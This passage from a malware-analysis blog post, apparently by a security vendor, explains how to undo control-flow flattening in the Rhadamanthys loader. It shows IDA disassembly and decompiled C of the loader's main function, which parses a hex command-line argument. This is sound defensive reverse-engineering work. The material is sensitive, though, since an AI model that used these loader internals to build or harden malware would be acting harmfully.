&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BEDC&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nv&quot;&gt;loc_40A607&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For simplicity’s sake, we’re going to make the following assumptions:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;At sites where stack variables like that are used, the stack pointer has the same value as in the first block.&lt;/li&gt;
  &lt;li&gt;Relevant stack variables (such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arg_4&lt;/code&gt; in the example) are not overwritten in the middle of the function. You may wonder why an argument would ever be overwritten (even if it’s not needed anymore in the rest of the function), but you’d be surprised how inventive compilers can get when looking for free space for temp vars.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These are pretty big assumptions that won’t hold in many programs, but in this case they seem to work and save us &lt;strong&gt;a lot&lt;/strong&gt; of headaches.&lt;/p&gt;

&lt;p&gt;That means comparisons such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmp [ebp+arg_4], 0&lt;/code&gt; can be moved as-is.
In another case, we may find &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmp ecx, 0&lt;/code&gt; instead - then we need to track where &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ecx&lt;/code&gt; comes from.
It could be another memory load like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov ecx, [ebp+arg_4]&lt;/code&gt;, in which case we can simply propagate the operand and end up with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmp [ebp+arg_4], 0&lt;/code&gt; again.
But &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ecx&lt;/code&gt; could also be the result of a more complex computation or even a parameter if the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fastcall&lt;/code&gt; calling convention is used.
In such situations, we can employ a trick and re-use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;var_44C&lt;/code&gt; variable that the obfuscator allocated.
Instead of using it for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmov&lt;/code&gt; result, we’ll place our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ecx&lt;/code&gt; register into the stack var, so that we can load it again in the block further down. Obviously, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmov&lt;/code&gt; and any dependent instructions need to be nopped for that to work.&lt;/p&gt;

&lt;p&gt;The attentive reader may wonder what would happen if we had &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmp ecx, edx&lt;/code&gt; and both registers were &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fastcall&lt;/code&gt; parameters.
Yeah, that would suck; thankfully it never happens in the sample.&lt;/p&gt;

&lt;p&gt;The code for the above-mentioned operand analysis can be found &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/rhadamanthys-loader-deobfuscator/blob/main/deob_cflow.py#L217&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;So in summary, dealing with this particular flattening is not hard on a conceptual level.
The bulk work is getting all the edge cases right.&lt;/p&gt;

&lt;h3 id=&quot;final-results&quot;&gt;Final results&lt;/h3&gt;

&lt;p&gt;At this point you probably want to see an updated graph.
Unfortunately, we’re not nopping out &lt;em&gt;all&lt;/em&gt; code belonging to the CFF dispatcher, so IDA will still create blocks for it.
So we’ll simply pretend the top part of the CFG does not exist, okay? Okay.&lt;/p&gt;

&lt;figure id=&quot;rhada_final_cfg&quot; class=&quot;figure-posts&quot; style=&quot;width: 60%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/11/rhada_final_cfg.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2025/11/rhada_final_cfg.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/11/rhada_final_cfg.png&quot; alt=&quot;Control flow graph for loader main function after unflattening&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/11/rhada_final_cfg.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/11/rhada_final_cfg.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/11/rhada_final_cfg.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Looks enough like a CFG of a sane function to me!&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;The main function has turned out very pretty, despite being one of the longest functions in the program and the amount of obfuscation-related blocks it originally had:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  &lt;span class=&quot;n&quot;&gt;v18&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v17&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1603178917&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lpMultiByteStr&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;328086937&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;pNumArgs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lpMultiByteStr&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v10&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MultiByteToWideChar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lpMultiByteStr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v11&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;WCHAR&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;calloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;lpCmdLine&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v11&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;pNumArgs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;hMem&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CommandLineToArgvW&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lpCmdLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pNumArgs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hMem&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pNumArgs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hMem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lstrlenW&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hMem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;66&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hMem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;45&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hMem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;98&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
          &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;v26&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hMem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;393718627&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;393718629&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
              &lt;span class=&quot;n&quot;&gt;v7&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v26&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;j&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
              &lt;span class=&quot;n&quot;&gt;v8&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sub_40C8B0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
              &lt;span class=&quot;n&quot;&gt;v9&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sub_40C8B0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
              &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v8&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x10u&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v9&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x10u&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
              &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
              &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
              &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
              &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;v32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;j&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v9&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
              &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
              &lt;span class=&quot;n&quot;&gt;v24&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
              &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v24&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
              &lt;span class=&quot;n&quot;&gt;v18&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
              &lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
          &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;LocalFree&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hMem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;free&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lpCmdLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v31&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;off_47B9C8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v29&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unk_48A99C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sub_40CDA0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v31&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hInstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sub_40CF90&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;WndClass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;style&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
